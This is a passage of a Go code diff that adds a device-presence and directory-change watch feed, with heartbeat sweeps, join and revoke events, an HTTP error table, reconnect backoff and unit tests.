:= newTestFeed() + _, a := join(t, f, "dev_a", true) + _, c := join(t, f, "dev_c", true) + drain(a) + drain(c) + f.announceJoin(Joined{Device: "dev_c", Name: "bg==", Platform: "linux"}) + same(t, drain(a), []string{"joined:dev_c"}) + same(t, drain(c), nil) +} + +func TestPublishAnnouncesANewlyRevokedDeviceOnce(t *testing.T) { + f, _ := newTestFeed() + _, a := join(t, f, "dev_a", true) + drain(a) + f.Publish(Status{Version: 1, Stopped: map[string]bool{"dev_b": true}}) + f.Publish(Status{Version: 2, Stopped: map[string]bool{"dev_b": true}}) + same(t, drain(a), []string{"revoked:dev_b"}) +} + +func TestSeenIsStampedAtEachConnectAndAtTheLastCloseOnly(t *testing.T) { + f, _ := newTestFeed() + var stamps []string + f.OnSeen(func(d string, at int64) { stamps = append(stamps, d) }) + a1, _ := join(t, f, "dev_a", false) + a2, _ := join(t, f, "dev_a", false) + same(t, stamps, []string{"dev_a", "dev_a"}) + a1.Close() + same(t, stamps, []string{"dev_a", "dev_a"}) + a2.Close() + same(t, stamps, []string{"dev_a", "dev_a", "dev_a"}) +} diff --git a/internal/directory/watchsweep.go b/internal/directory/watchsweep.go new file mode 100644 index 0000000000..6d0870e333 --- /dev/null +++ b/internal/directory/watchsweep.go @@ -0,0 +1,100 @@ +package directory + +import "time" + +// sweepSlack is the soonest a sweep is set after now: a device that lapsed a +// moment ago is found within a second, and a burst of lapses is one wake and +// not one wake each. +const sweepSlack = time.Second + +// alarm is the one pending sweep. gen tells a timer that fires after its alarm +// was replaced or cancelled that it is not the current one. +type alarm struct { + at int64 // unix ms the sweep is set for; 0 when none is set + stop func() bool + gen uint64 +} + +func (a *alarm) armed() bool { return a.stop != nil } + +func (a *alarm) cancel() { + if a.stop != nil { + a.stop() + } + a.stop, a.at = nil, 0 + a.gen++ +} + +// arm sets the sweep at the earliest moment a device that is held online goes +// silent, and never when nobody is watching: a device nobody looks at needs no +// push, and a later reader gets the right answer at read time (contract 21.12.4). +// An alarm that is already set at or before that moment stays. The caller holds p.mu. +func (p *presence) arm() { + due, ok := p.earliestLapse() + if len(p.watchers) == 0 || !ok { + p.alarm.cancel() + return + } + now := p.now() + due = max(due, now+sweepSlack.Milliseconds()) + if p.alarm.armed() && p.alarm.at <= due { + return + } + p.alarm.cancel() + gen := p.alarm.gen + p.alarm.at = due + p.alarm.stop = p.after(time.Duration(due-now)*time.Millisecond, func() { p.sweep(gen) }) +} + +// lapseAt is the first millisecond device is no longer live: its newest sign of +// life among the sockets that were not told to go, plus that socket's window. A device in +// its debounce is the gap's to announce, and one whose sockets were all told to +// go was announced already; neither has a lapse. The caller holds p.mu. +func (p *presence) lapseAt(device string) (at int64, ok bool) { + if p.waiting[device] != nil { + return 0, false + } + for s := range p.socks[device] { + if !s.lapsed.Load() { + at, ok = max(at, s.alive.Load()+Window(s.beat).Milliseconds()+1), true + } + } + return at, ok +} + +// earliestLapse is the soonest lapseAt of any device. The caller holds p.mu. +func (p *presence) earliestLapse() (earliest int64, ok bool) { + for d := range p.socks { + if at, has := p.lapseAt(d); has && (!ok || at < earliest) { + earliest, ok = at, true + } + } + return earliest, ok +} + +// sweep announces each device whose last live socket lapsed, closes those +// sockets and arms the next sweep. A timer of a replaced alarm does nothing. +func (p *presence) sweep(gen uint64) { + p.mu.Lock() + if p.alarm.gen != gen { + p.mu.Unlock() + return + } + p.alarm.cancel() + stamps := p.expireLapsed(p.now()) + p.arm() + hook := p.seen + p.mu.Unlock() + p.stamp(hook, stamps...) +} + +// expireLapsed expires every device whose lapse is at or before now and answers +// the last_seen stamps owed. The caller holds p.mu. +func (p *presence) expireLapsed(now int64) (stamps []seenAt) { + for d := range p.socks { + if at, ok := p.lapseAt(d); ok && at <= now { + stamps = append(stamps, p.expire(d, 0)...) + } + } + return stamps +} diff --git a/internal/directory/watchsweep_test.go b/internal/directory/watchsweep_test.go new file mode 100644 index 0000000000..4a8cf83116 --- /dev/null +++ b/internal/directory/watchsweep_test.go @@ -0,0 +1,256 @@ +package directory + +import ( + "github.com/Agent-Field/codeaf/internal/dirwatch" + "testing" + "time" +) + +// moving is a clock a test moves by hand, with timers that remember how long +// they were set for, so a case can read when the sweep is armed. +type moving struct { + now time.Time + armed []time.Duration + pending []*fakeTimer +} + +func (m *moving) clock() time.Time { return m.now } + +func (m *moving) after(d time.Duration, fn func()) func() bool { + m.armed = append(m.armed, d) + ft := &fakeTimer{fn: fn} + m.pending = append(m.pending, ft) + return func() bool { was := !ft.stopped; ft.stopped = true; return was } +} + +// live is the timers not stopped and not yet run. +func (m *moving) live() (n int) { + for _, ft := range m.pending { + if !ft.stopped { + n++ + } + } + return n +} + +// advance moves the clock by d and runs the timers set so far, as one wake would. +func (m *moving) advance(d time.Duration) { + m.now = m.now.Add(d) + pending := m.pending + for _, ft := range pending { + if !ft.stopped { + ft.stopped = true + ft.fn() + } + } +} + +func newMovingFeed() (*Feed, *moving) { + m := &moving{now: time.UnixMilli(1_000_000)} + f := NewFeed(m.clock) + f.SetAfter(m.after) + return f, m +} + +func joinBeat(t *testing.T, f *Feed, device string, beat time.Duration, events bool) (*Sub, <-chan dirwatch.Event) { + t.Helper() + s, err := f.SubscribeBeat(device, nil, beat) + if err != nil { + t.Fatal(err) + } + if !events { + return s, nil + } + return s, s.Events() +} + +func TestParseBeat(t *testing.T) { + for _, tc := range []struct { + in []string + want time.Duration + ok bool + }{ + {nil, DefaultBeat, true}, + {[]string{"1"}, time.Second, true}, + {[]string{"60"}, 60 * time.Second, true}, + {[]string{"10", "10"}, 10 * time.Second, true}, + {[]string{"0"}, 0, false}, + {[]string{"61"}, 0, false}, + {[]string{"x"}, 0, false}, + {[]string{""}, 0, false}, + {[]string{"+5"}, 0, false}, + {[]string{"1.5"}, 0, false}, + {[]string{"5", "6"}, 0, false}, + } { + got, err := ParseBeat(tc.in) + if (err == nil) != tc.ok || got != tc.want { + t.Errorf("ParseBeat(%q) = %v, %v; want %v ok=%v", tc.in, got, err, tc.want, tc.ok) + } + } +} + +func TestWindowIsTwoAndAHalfBeats(t *testing.T) { + if got := Window(10 * time.Second); got != 25*time.Second { + t.Fatalf("window of a 10 s beat is %v, want 25s", got) + } + if got := Window(DefaultBeat); got != 75*time.Second { + t.Fatalf("window of the default beat is %v, want 75s", got) + } +} + +func TestASocketIsLiveForItsWindowAndThenCountsForNothing(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_a", 2*time.Second, false) + m.advance(5 * time.Second) + if !f.Online("dev_a") { + t.Fatal("a socket is live at exactly its window") + } + m.advance(time.Millisecond) + if f.Online("dev_a") || len(f.OnlineSet()) != 0 { + t.Fatal("a socket past its window is not online, and a read needs no timer to say so") + } +} + +func TestAPingKeepsASocketLive(t *testing.T) { + f, m := newMovingFeed() + s, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + for range 5 { + m.advance(2 * time.Second) + s.Ping() + } + if !f.Online("dev_a") { + t.Fatal("a socket that pings every beat stays online") + } +} + +func TestNoSweepWithoutAViewer(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_a", 2*time.Second, false) + if len(m.armed) != 0 { + t.Fatalf("an identity with no event socket set an alarm: %v", m.armed) + } +} + +func TestTheSweepIsSetAtTheEarliestLapse(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_v", 60*time.Second, true) + joinBeat(t, f, "dev_a", 2*time.Second, false) + last := m.armed[len(m.armed)-1] + if want := 5*time.Second + time.Millisecond; last != want { + t.Fatalf("sweep set for %v, want %v", last, want) + } +} + +func TestTheSweepIsNeverSoonerThanASecond(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_a", 2*time.Second, false) + m.advance(time.Minute) // long past its lapse, nobody swept + joinBeat(t, f, "dev_v", 60*time.Second, true) + if last := m.armed[len(m.armed)-1]; last != time.Second { + t.Fatalf("sweep set for %v, want 1s", last) + } +} + +func TestTheSweepAnnouncesOnceClosesTheSocketsAndStampsLastSign(t *testing.T) { + f, m := newMovingFeed() + var stamps []int64 + f.OnSeen(func(d string, at int64) { + if d == "dev_a" { + stamps = append(stamps, at) + } + }) + _, viewer := joinBeat(t, f, "dev_v", 60*time.Second, true) + a, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + same(t, drain(viewer), []string{"presence:dev_a:on"}) + m.advance(2 * time.Second) + a.Ping() + signOfLife := m.now.UnixMilli() + m.advance(7 * time.Second) + same(t, drain(viewer), []string{"presence:dev_a:off"}) + if len(stamps) != 2 || stamps[1] != signOfLife { + t.Fatalf("last_seen stamps %v, want connect then the last sign of life %d", stamps, signOfLife) + } + select { + case <-a.silence: + default: + t.Fatal("the lapsed socket was not told to go") + } + a.Close() // the goroutine of the closed socket leaves: no gap, nothing announced + if m.live() != 1 { + t.Fatalf("%d timers pending after a lapsed socket closed, want only the sweep", m.live()) + } + m.advance(OfflineDebounce) + same(t, drain(viewer), nil) +} + +func TestALapsedSocketIsNeverLiveAgain(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_v", 60*time.Second, true) + a, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + m.advance(6 * time.Second) + a.Ping() + if f.Online("dev_a") { + t.Fatal("a ping after the lapse brought the socket back") + } +} + +func TestADeviceThatReturnsAfterTheLapseIsAnnouncedOnline(t *testing.T) { + f, m := newMovingFeed() + _, viewer := joinBeat(t, f, "dev_v", 60*time.Second, true) + joinBeat(t, f, "dev_a", 2*time.Second, false) + m.advance(6 * time.Second) + drain(viewer) + joinBeat(t, f, "dev_a", 2*time.Second, false) + same(t, drain(viewer), []string{"presence:dev_a:on"}) +} + +func TestOneLiveSocketKeepsTheDeviceOnlineAndUnannounced(t *testing.T) { + f, m := newMovingFeed() + _, viewer := joinBeat(t, f, "dev_v", 60*time.Second, true) + joinBeat(t, f, "dev_a", 2*time.Second, false) + b, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + drain(viewer) + m.advance(3 * time.Second) + b.Ping() + m.advance(3 * time.Second) + if !f.Online("dev_a") { + t.Fatal("one live socket is enough") + } + same(t, drain(viewer), nil) +} + +func TestTheSweepIsSetAgainWhileAViewerAndALiveSocketRemain(t *testing.T) { + f, m := newMovingFeed() + joinBeat(t, f, "dev_v", 60*time.Second, true) + a, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + m.advance(4 * time.Second) + a.Ping() + n := len(m.armed) + m.advance(2 * time.Second) // the first alarm: nothing lapsed, a later one is set + if len(m.armed) != n+1 || m.armed[n] != 3*time.Second+time.Millisecond { + t.Fatalf("armed %v after the first alarm, want one more at the new earliest lapse", m.armed) + } +} + +func TestNoAlarmRemainsOnceTheLastViewerLeaves(t *testing.T) { + f, _ := newMovingFeed() + v, _ := joinBeat(t, f, "dev_v", 60*time.Second, true) + joinBeat(t, f, "dev_a", 2*time.Second, false) + if !f.pres.alarm.armed() { + t.Fatal("no alarm set with a viewer") + } + v.Close() + if f.pres.alarm.armed() { + t.Fatal("an alarm is left after the last viewer went") + } +} + +func TestAStaleSocketThatClosesBeforeTheSweepIsAnnouncedAtOnce(t *testing.T) { + f, m := newMovingFeed() + _, viewer := joinBeat(t, f, "dev_v", 60*time.Second, true) + a, _ := joinBeat(t, f, "dev_a", 2*time.Second, false) + drain(viewer) + m.now = m.now.Add(6 * time.Second) // lapsed, and the alarm has not run + a.Close() + same(t, drain(viewer), []string{"presence:dev_a:off"}) +} diff --git a/internal/directory/watchwire_test.go b/internal/directory/watchwire_test.go new file mode 100644 index 0000000000..b70a328ed1 --- /dev/null +++ b/internal/directory/watchwire_test.go @@ -0,0 +1,76 @@ +package directory + +import ( + "context" + "path/filepath" + "testing" + "time" +) + +// backend is what the two stores share for these tests. +type backend struct { + name string + dir Directory + feed *Feed + join func(Joined) + clock *tick +} + +// tick is a clock that moves only when told. +type tick struct{ t time.Time } + +func (c *tick) Now() time.Time { return c.t } +func (c *tick) Advance(d time.Duration) { c.t = c.t.Add(d) } + +func backends(t *testing.T) []backend { + t.Helper() + cm := &tick{time.UnixMilli(1_000_000)} + mem := NewMemory(cm.Now) + cs := &tick{time.UnixMilli(1_000_000)} + db, err := OpenSQLite(filepath.Join(t.TempDir(), "d.db"), cs.Now) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { db.Close() }) + return []backend{ + {"memory", mem, mem.Feed(), mem.pairing.onJoin, cm}, + {"sqlite", db, db.Feed(), db.pairing.onJoin, cs}, + } +} + +func TestBackendsAnnounceJoinedAndStampLastSeen(t *testing.T) { + for _, b := range backends(t) { + t.Run(b.name, func(t *testing.T) { + ctx := context.Background() + if err := b.dir.For("dev_a").PutDevice(ctx, "dev_a", Device{V: 1}); err != nil { + t.Fatal(err) + } + before, _ := b.dir.For("dev_a").List(ctx) + b.clock.Advance(time.Hour) + _, events := join(t, b.feed, "dev_a", true) + drain(events) + b.join(Joined{Device: "dev_new", Name: "bg==", Platform: "linux", At: 7}) + same(t, drain(events), []string{"joined:dev_new"}) + after, _ := b.dir.For("dev_a").List(ctx) + if got := after.Devices["dev_a"].LastSeen; got != b.clock.Now().UnixMilli() { + t.Fatalf("last_seen is %d, want the connect time", got) + } + if after.Version != before.Version { + t.Fatalf("a connect moved the version %d -> %d", before.Version, after.Version) + } + }) + } +} + +func TestPresenceViewListsOnlyDevicesThatAreNotRevoked(t *testing.T) { + l := Listing{Now: 9, Devices: map[string]Device{ + "dev_on": {LastSeen: 1}, + "dev_off": {LastSeen: 4}, + "dev_rev": {Revoked: true}, + }} + v := presenceOf(l, map[string]bool{"dev_on": true}) + want := map[string]DevicePresence{"dev_on": {true, 9}, "dev_off": {false, 4}} + if len(v.Devices) != 2 || v.Devices["dev_on"] != want["dev_on"] || v.Devices["dev_off"] != want["dev_off"] { + t.Fatalf("view is %+v", v) + } +} diff --git a/internal/directory/wire.go b/internal/directory/wire.go new file mode 100644 index 0000000000..00d319067f --- /dev/null +++ b/internal/directory/wire.go @@ -0,0 +1,95 @@ +package directory + +import ( + "errors" + "net/http" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// wireError is one row of the wire's error table: the sentinel a Client +// returns, the code the body names it by, and the HTTP status that carries it. +type wireError struct { + err error + code string + status int +} + +// wireErrors is the single place a sentinel and its code meet, so the handler +// and the client cannot drift apart. Order matters only for errors.Is chains. +var wireErrors = []wireError{ + {ErrNotFound, "not_found", http.StatusNotFound}, + {ErrExists, "exists", http.StatusConflict}, + {ErrLeaseHeld, "lease_held", http.StatusConflict}, + {ErrFenceStale, "fence_stale", http.StatusConflict}, + {ErrHeadMoved, "head_moved", http.StatusConflict}, + {ErrCAS, "cas", http.StatusConflict}, + {ErrUnauthorized, "unauthorized", http.StatusUnauthorized}, + {ErrRevoked, "revoked", http.StatusUnauthorized}, + {ErrSelfRevoke, "self_revoke", http.StatusBadRequest}, + {ErrRotated, "rotated", http.StatusGone}, + {wireauth.ErrGone, "gone", http.StatusGone}, + {ErrRotationStep, "rotation_step", http.StatusConflict}, + {ErrBadGrace, "bad_grace", http.StatusBadRequest}, + {wireauth.ErrRateLimited, "rate_limited", http.StatusTooManyRequests}, + {wireauth.ErrTooManyIdentities, "too_many_identities", http.StatusTooManyRequests}, + {wireauth.ErrSkew, "skew", http.StatusUnauthorized}, + {ErrTooManyWatchers, "too_many_watchers", http.StatusTooManyRequests}, + {errUpgradeRequired, "upgrade_required", http.StatusUpgradeRequired}, + {errBadRequest, "bad_request", http.StatusBadRequest}, + {errTooLarge, "too_large", http.StatusRequestEntityTooLarge}, + // The link-pairing rows (docs/ux-pairing-contract.md). "gone" is 404 here + // and 410 for a deleted identity, so a row is matched by code and status. + {ErrRequestGone, "gone", http.StatusNotFound}, + {ErrAlreadyDecided, "already_decided", http.StatusConflict}, + {ErrTooBig, "too_big", http.StatusRequestEntityTooLarge}, + {ErrFull, "full", http.StatusServiceUnavailable}, + // Hosted deployment brakes leave existing identities readable and erasable. + {wireauth.ErrRateLimited, "relay_admission_full", http.StatusTooManyRequests}, + {ErrFull, "relay_storage_full", http.StatusInsufficientStorage}, +} + +// Codes that have no sentinel a Client returns: the wire's own refusals. +var ( + errBadRequest = ErrBadRequest + errTooLarge = errors.New("directory: request too large") + // errUpgradeRequired answers a watch request that is not a WebSocket upgrade. + errUpgradeRequired = errors.New("directory: upgrade required") + errInternal = errors.New("directory: internal error") +) + +// classify finds the table row for err; any error the table does not know is +// a server fault. +func classify(err error) wireError { + for _, w := range wireErrors { + if errors.Is(err, w.err) { + return w + } + } + return wireError{errInternal, "internal", http.StatusInternalServerError} +} + +// errorOf turns a code and the status that carried it back into its sentinel, +// or nil when the pair is unknown. +func errorOf(code string, status int) error { + for _, w := range wireErrors { + if w.code == code && w.status == status { + return w.err + } + } + return nil +} + +// errBody is the JSON every refusal carries. +type errBody struct { + Err string `json:"err"` +} + +const dirBase = "/v1/dir" + +// WatchPath is the signed WebSocket route that says the directory changed. +const WatchPath = dirBase + "/watch" + +// rotationPath is the one signed verb for replacing an identity. It is the +// identity's, not the directory's, so it sits beside the directory's base. +const rotationPath = "/v1/identity/rotation" diff --git a/internal/dirwatch/backoff.go b/internal/dirwatch/backoff.go new file mode 100644 index 0000000000..7350659ea7 --- /dev/null +++ b/internal/dirwatch/backoff.go @@ -0,0 +1,18 @@ +package dirwatch + +import "time" + +// backoff is the full-jitter ladder of reconnect waits. Its zero value is ready. +type backoff struct { + ceiling time.Duration + rand func() float64 // in [0,1) +} + +// next climbs one rung and returns a wait anywhere below it. +func (b *backoff) next() time.Duration { + b.ceiling = min(max(b.ceiling*2, RetryBase), RetryCap) + return time.Duration(b.rand() * float64(b.ceiling)) +} + +// reset starts the ladder over, after a socket that worked. +func (b *backoff) reset() { b.ceiling = 0 } diff --git a/internal/dirwatch/clock.go b/internal/dirwatch/clock.go new file mode 100644 index 0000000000..2da8cc31ab --- /dev/null +++ b/internal/dirwatch/clock.go @@ -0,0 +1,29 @@ +package dirwatch + +import "time" + +// Clock is the time the feed lives by, so a test can own it. +type Clock interface { + // Now is the wall clock. It carries no monotonic reading, because a laptop + // that slept is told apart from one that did not by the wall moving on. + Now() time.Time + NewTimer(d time.Duration) Timer +} + +// Timer is a one-shot timer. +type Timer interface { + C() <-chan time.Time + Stop() +} + +// realClock is the machine's clock. +type realClock struct{} + +func (realClock) Now() time.Time { return time.Now().Round(0) } + +func (realClock) NewTimer(d time.Duration) Timer { return realTimer{time.NewTimer(d)} } + +type realTimer struct{ t *time.Timer } + +func (r realTimer) C() <-chan time.Time { return r.t.C } +func (r realTimer) Stop() { r.t.Stop() } diff --git a/internal/dirwatch/doc.go b/internal/dirwatch/doc.go new file mode 100644 index 0000000000..93f08904dd --- /dev/null +++ b/internal/dirwatch/doc.go @@ -0,0 +1,43 @@ +// Package dirwatch follows the directory's change socket, so a screen that +// shows the directory learns of another device's change when it happens rather +// than by asking on a timer. +// +// The socket carries one fact: the directory's version. It never carries +// records, so a frame is only ever a reason to read the list once. This package +// owns the connection (dialling, keeping it alive, noticing it died, coming +// back with jittered waits) and nothing else; what to do with a new version, +// and what to do while the socket is down, stay with the surface that draws +// the list. +// +// One connection is kept per identity per process, however many surfaces +// follow it, and it exists only while somebody follows. +// +// # Presence and joined devices +// +// A socket opened with events (directory.HTTP.Watch does; WatchHolding does +// not) also hears event frames (docs/ux-pairing-contract.md, section 5), and +// the follower's State shows them to a surface: +// +// - State.Online lists, sorted, the other devices that hold a watch socket +// now. A device is online while it holds at least one live socket, one +// that answered a ping within 2.5 beats (25 s at the 10 s beat); the relay +// tells that it is offline when that window passes, so a frozen computer +// shows offline within 30 s, and 15 s after its last socket closed +// otherwise, and says nothing when it reconnects inside that gap. A socket +// the relay closed because it went quiet (CloseSilent) is dialled again at +// once. The set is empty while +// State.Up is false, because the relay names who is online only when a +// socket opens. A surface draws "● spark" for a name in Online and +// "○ dumb" otherwise, and reads the last time a device was seen from the +// device record's last_seen. +// - State.Joined lists the newest MaxJoined device-joined events, oldest +// first, each with a Seq that only rises. A surface remembers the newest +// Seq it showed and shows every higher one once (" joined your +// fleet"); Name is sealed under the metadata key and is opened by the +// surface. Joined survives a reconnect. +// +// A surface waits on Follower.Changes as before and reads State; an Online or +// Joined change is a change like a new version. A revoked event removes the +// device from Online; the list read the version bump calls for says why. +// Frames of a kind this package does not know are ignored. +package dirwatch diff --git a/internal/dirwatch/events.go b/internal/dirwatch/events.go new file mode 100644 index 0000000000..1c38235fe5 --- /dev/null +++ b/internal/dirwatch/events.go @@ -0,0 +1,127 @@ +package dirwatch + +import ( + "slices" + "sort" +) + +// The event frames of a socket opened with events (docs/ux-pairing-contract.md, +// section 5). They carry a string key "t" and no key "v". +const ( + EventJoined = "joined" + EventPresence = "presence" + EventRevoked = "revoked" +) + +// MaxJoined is how many joined events State keeps. A consumer that reads State +// at least once per few seconds never misses one; older ones fall off. +const MaxJoined = 8 + +// Event is one event frame as it is on the wire. Fields a kind does not use +// are absent. Name is sealed under the metadata key; this package never opens it. +type Event struct { + T string `json:"t"` + Device string `json:"device"` + Name string `json:"name,omitempty"` + Platform string `json:"platform,omitempty"` + Online *bool `json:"online,omitempty"` + At int64 `json:"at"` +} + +// PresenceEvent is the frame that says device went online or offline at at. +func PresenceEvent(device string, online bool, at int64) Event { + return Event{T: EventPresence, Device: device, Online: &online, At: at} +} + +// JoinedEvent is the frame that says device joined the fleet at at. +func JoinedEvent(device, name, platform string, at int64) Event { + return Event{T: EventJoined, Device: device, Name: name, Platform: platform, At: at} +} + +// RevokedEvent is the frame that says device was revoked at at. +func RevokedEvent(device string, at int64) Event { + return Event{T: EventRevoked, Device: device, At: at} +} + +// Joined is a device-joined event as State keeps it. Seq counts joined events +// seen by this feed from 1, so a consumer remembers the newest Seq it showed +// and shows each higher one once. +type Joined struct { + Seq uint64 + Device string + Name string // sealed, as sent + Platform string + At int64 +} + +// view is what events have told so far: the online set and the recent joins. +// Its slices are replaced, never edited, so a State handed to a surface stays valid. +type view struct { + online []string // sorted + joined []Joined + seq uint64 +} + +// eventKinds is how each kind of event changes a view. An event of a kind not +// listed changes nothing, as the contract asks of every client. +var eventKinds = map[string]func(view, Event) view{ + EventPresence: applyPresence, + EventJoined: applyJoined, + EventRevoked: func(v view, e Event) view { return v.withoutOnline(e.Device) }, +} + +func (v view) withEvent(e Event) view { + if apply, ok := eventKinds[e.T]; ok { + return apply(v, e) + } + return v +} + +func applyPresence(v view, e Event) view { + if e.Online != nil && *e.Online { + return v.withOnline(e.Device) + } + return v.withoutOnline(e.Device) +} + +func applyJoined(v view, e Event) view { + v.seq++ + j := Joined{Seq: v.seq, Device: e.Device, Name: e.Name, Platform: e.Platform, At: e.At} + keep := v.joined[max(0, len(v.joined)-MaxJoined+1):] + v.joined = append(slices.Clone(keep), j) + return v +} + +func (v view) withOnline(device string) view { + if slices.Contains(v.online, device) { + return v + } + v.online = append(slices.Clone(v.online), device) + sort.Strings(v.online) + return v +} + +func (v view) withoutOnline(device string) view { + v.online = slices.DeleteFunc(slices.Clone(v.online), func(d string) bool { return d == device }) + return v +} + +// forgotten is the view after the socket went down: nobody is known online, +// because the relay says who is only when a socket opens. Joins are kept. +func (v view) forgotten() view { + v.online = nil + return v +} + +// apply files a frame into the state. A pong changes nothing, an event goes +// through the view, and any other frame is a version. +func (fr Frame) apply(st *State, v *view) { + switch { + case fr.Pong: + case fr.Event != nil: + *v = v.withEvent(*fr.Event) + st.Online, st.Joined = v.online, v.joined + default: + st.Version = fr.Version + } +} diff --git a/internal/dirwatch/events_test.go b/internal/dirwatch/events_test.go new file mode 100644 index 0000000000..518a4ba7c3 --- /dev/null +++ b/internal/dirwatch/events_test.go @@ -0,0 +1,82 @@ +package dirwatch + +import ( + "errors" + "reflect" + "testing" + "time" +) + +func ev(e Event) Frame { return Frame{Event: &e} } + +func TestEventsFillOnlineAndJoinedAndLeaveTheVersionAlone(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + s := <-list + s.send(Frame{Version: 7}, nil) + s.send(ev(PresenceEvent("dev_b", true, 1)), nil) + s.send(ev(PresenceEvent("dev_a", true, 2)), nil) + s.send(ev(JoinedEvent("dev_c", "bg==", "linux", 3)), nil) + s.send(ev(PresenceEvent("dev_b", false, 4)), nil) + s.send(Frame{Pong: true}, nil) + s.send(Frame{Pong: true}, nil) + got := r.sub.State() + if got.Version != 7 { + t.Fatalf("an event moved the version to %d", got.Version) + } + if !reflect.DeepEqual(got.Online, []string{"dev_a"}) { + t.Fatalf("online was %v, want [dev_a]", got.Online) + } + want := []Joined{{Seq: 1, Device: "dev_c", Name: "bg==", Platform: "linux", At: 3}} + if !reflect.DeepEqual(got.Joined, want) { + t.Fatalf("joined was %+v", got.Joined) + } +} + +func TestARevokedDeviceIsNoLongerOnlineAndAnUnknownEventIsIgnored(t *testing.T) { + v := view{}.withEvent(PresenceEvent("dev_b", true, 1)) + v = v.withEvent(Event{T: "from-the-future", Device: "dev_b"}) + if len(v.online) != 1 { + t.Fatalf("an unknown event changed the view: %+v", v) + } + if v = v.withEvent(RevokedEvent("dev_b", 2)); len(v.online) != 0 { + t.Fatalf("a revoked device stayed online: %+v", v) + } +} + +func TestJoinedKeepsTheNewestEightWithRisingSeq(t *testing.T) { + var v view + for i := 0; i < MaxJoined+3; i++ { + v = v.withEvent(JoinedEvent("d", "", "", int64(i))) + } + if len(v.joined) != MaxJoined || v.joined[0].Seq != 4 || v.joined[MaxJoined-1].Seq != MaxJoined+3 { + t.Fatalf("joined ring is %+v", v.joined) + } +} + +func TestAStateHandedOutIsNotEditedByLaterEvents(t *testing.T) { + v := view{}.withEvent(PresenceEvent("dev_a", true, 1)) + before := v.online + v.withEvent(PresenceEvent("dev_b", true, 2)) + v.withEvent(PresenceEvent("dev_a", false, 3)) + if !reflect.DeepEqual(before, []string{"dev_a"}) { + t.Fatalf("a published slice changed: %v", before) + } +} + +func TestWhenTheSocketDropsNobodyIsKnownOnlineButJoinsStay(t *testing.T) { + list := make(chan *fakeStream, 4) + r := newRig(t, sockets(list)) + s := <-list + s.send(ev(PresenceEvent("dev_b", true, 1)), nil) + s.send(ev(JoinedEvent("dev_c", "", "linux", 2)), nil) + s.send(Frame{}, errors.New("reset")) + deadline := time.Now().Add(5 * time.Second) + for r.sub.State().Up && time.Now().Before(deadline) { + time.Sleep(time.Millisecond) + } + got := r.sub.State() + if got.Up || len(got.Online) != 0 || len(got.Joined) != 1 { + t.Fatalf("state after the drop was %+v", got) + } +} diff --git a/internal/dirwatch/feed.go b/internal/dirwatch/feed.go new file mode 100644 index 0000000000..bfe32ca4c7 --- /dev/null +++ b/internal/dirwatch/feed.go @@ -0,0 +1,331 @@ +package dirwatch + +import ( + "context" + "errors" + "slices" + "sync" + "time" +) + +// State is what the feed knows right now. +type State struct { + // Version is the newest directory version the socket has announced. + Version uint64 + // Up is true while the socket is open and has spoken: a socket that + // upgraded and says nothing is not believed. + Up bool + // Vouching is true while the open socket was answered with the server's + // word that it vouches for the leases the socket names. It is false + // whenever Up is. + Vouching bool + // Online lists, sorted, the other devices that hold a watch socket now. + // It is meaningful only while Up: the relay says who is online when a + // socket opens, so it is empty while the socket is down. Only a socket + // dialled with events hears it. + Online []string + // Joined holds the newest MaxJoined device-joined events, oldest first. + // A surface shows each Seq above the newest it has shown, once. + Joined []Joined + // Refused is the final refusal the relay ended the socket with (ErrRevoked + // or ErrRotated), nil otherwise. The feed does not dial again once it is + // set, so a surface that wants to tell the person has this one place to ask. + Refused error +} + +// equal says whether two states are the same to a surface. +func (s State) equal(o State) bool { + return s.Version == o.Version && s.Up == o.Up && s.Vouching == o.Vouching && + slices.Equal(s.Online, o.Online) && slices.Equal(s.Joined, o.Joined) && s.Refused == o.Refused +} + +// Follower is one surface's view of the feed. +type Follower interface { + // State is the feed's state now. + State() State + // Changes signals, without blocking the feed, that State is no longer what + // it was. Signals coalesce: a burst of frames is one signal, so the reader + // sees the newest state and never a backlog. It is closed by Close. + Changes() <-chan struct{} + // Probe asks the feed to find out now whether the socket is alive, for a + // window that has just been returned to. + Probe() + // Close stops following. The last follower to close takes the socket down. + Close() +} + +// Feed is one identity's connection and everything that follows it. +type Feed struct { + dial Dialer + clock Clock + retry backoff + kick chan struct{} + // redial asks the serving loop to end the socket it has and dial again. + redial chan struct{} + + mu sync.Mutex + state State + events view // what the events told; State.Online and State.Joined are its two parts + heard time.Time // when the open socket last showed a sign of life + subs map[*sub]struct{} + cancel context.CancelFunc + done chan struct{} +} + +// newFeed builds a feed that is not yet connected. +func newFeed(dial Dialer, clock Clock, jitter func() float64) *Feed { + return &Feed{ + dial: dial, clock: clock, + retry: backoff{rand: jitter}, + kick: make(chan struct{}, 1), + redial: make(chan struct{}, 1), + subs: map[*sub]struct{}{}, + } +} + +// start opens the connection in the background. +func (f *Feed) start() { + ctx, cancel := context.WithCancel(context.Background()) + f.cancel, f.done = cancel, make(chan struct{}) + go f.run(ctx) +} + +// stop closes the connection and waits until it is closed. +func (f *Feed) stop() { + f.cancel() + <-f.done +} + +// follow adds a follower. +func (f *Feed) follow(key string) *sub { + s := &sub{feed: f, key: key, changes: make(chan struct{}, 1)} + f.mu.Lock() + f.subs[s] = struct{}{} + f.mu.Unlock() + return s +} + +// leave removes a follower and reports whether it was the last. +func (f *Feed) leave(s *sub) (last bool) { + f.mu.Lock() + defer f.mu.Unlock() + delete(f.subs, s) + close(s.changes) + return len(f.subs) == 0 +} + +func (f *Feed) snapshot() State { + f.mu.Lock() + defer f.mu.Unlock() + return f.state +} + +// set replaces the state and wakes the followers when it differs. +func (f *Feed) set(edit func(*State)) { + f.mu.Lock() + defer f.mu.Unlock() + before := f.state + edit(&f.state) + if f.state.equal(before) { + return + } + for s := range f.subs { + 